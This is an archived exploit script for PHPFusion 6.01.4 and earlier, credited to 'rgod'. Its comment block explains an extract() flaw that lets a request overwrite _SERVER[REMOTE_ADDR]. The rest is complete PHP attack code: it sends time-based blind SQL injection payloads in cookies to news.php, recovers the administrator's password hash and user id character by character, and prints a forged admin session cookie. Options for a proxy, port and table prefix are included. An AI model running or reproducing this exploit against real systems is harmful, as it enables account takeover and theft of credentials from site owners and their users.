phpfusion6014.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
print_r('  
--------------------------------------------------------------------------------  
PHPFusion <= 6.01.4 extract()/_SERVER[REMOTE_ADDR] sql injection exploit  
by rgod [email protected]  
site: http://retrogod.altervista.org  
--------------------------------------------------------------------------------  
');  
/*  
works with  
register globals = *Off*  
magic_quotes_gpc = Off  
  
explaination:  
vulnerable code in maincore.php at lines 15-21:  
  
...  
if (ini_get('register_globals') != 1) {  
$supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_FILES","_GLOBALS");  
foreach ($supers as $__s) {  
if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE);  
}  
unset($supers);  
}  
...  
  
extract() function can be sometimes a security hazard, in this case it allows  
to overwrite some arrays like _SERVER[] one and launch an sql injection attack,  
ex:  
  
http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL]  
  
other attacks may be possible...  
*/  
  
if ($argc<3) {  
print_r('  
--------------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path OPTIONS  
host: target server (ip/hostname)  
path: path to PHPFusion  
Options:  
-T[prefix: specify a table prefix (default: fusion_)  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Examples:  
php '.$argv[0].' localhost /fusion/  
php '.$argv[0].' localhost /fusion/ -p81  
php '.$argv[0].' localhost / -P1.1.1.1:80  
--------------------------------------------------------------------------------  
');  
die;  
}  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
$prefix="fusion_";  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
if ($temp=="-T")  
{  
$prefix=str_replace("-T","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
$chars[0]=0;//null  
$chars=array_merge($chars,range(48,57)); //numbers  
$chars=array_merge($chars,range(97,102));//a-f letters  
$j=1;$password="";  
while (!strstr($password,chr(0)))  
{  
for ($i=0; $i<=255; $i++)  
{  
if (in_array($i,$chars))  
{  
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";  
echo "sql -> ".$sql."\n";  
$sql=urlencode($sql);  
$packet="GET ".$p."news.php HTTP/1.0\r\n";  
$packet.="Accept: text/plain\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";  
$packet.="Connection: Close\r\n\r\n";  
usleep(2000000);  
$starttime=time();  
sendpacketii($packet);  
$endtime=time();  
echo "starttime -> ".$starttime."\n";  
echo "endtime -> ".$endtime."\n";  
$difftime=$endtime - $starttime;  
echo "difftime -> ".$difftime."\n";  
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;}  
  
}  
if ($i==255) {die("\nExploit failed...");}  
}  
$j++;  
}  
  
$chars[]="";  
$chars[0]=0;//null  
$chars=array_merge($chars,range(48,57)); //numbers  
$j=1;$id="";  
while (!strstr($id,chr(0)))  
{  
for ($i=0; $i<=255; $i++)  
{  
if (in_array($i,$chars))  
{  
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";  
echo "sql -> ".$sql."\n";  
$sql=urlencode($sql);  
$packet="GET ".$p."news.php HTTP/1.0\r\n";  
$packet.="Accept: text/plain\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";  
$packet.="Connection: Close\r\n\r\n";  
usleep(2000000);  
$starttime=time();  
sendpacketii($packet);  
$endtime=time();  
echo "starttime -> ".$starttime."\n";  
echo "endtime -> ".$endtime."\n";  
$difftime=$endtime - $starttime;  
echo "difftime -> ".$difftime."\n";  
if ($difftime > 10) {$id.=chr($i);echo "id -> ".$id."[???]\n";sleep(1);break;}  
  
}  
if ($i==255) {die("\nExploit failed...");}  
}  
$j++;  
}  
echo "admin cookie -> fusion_user=".trim($id).$password.";\n";  
?>  
  
original url: http://retrogod.altervista.org/phpfusion_6-01-4_xpl.html  
  
  
`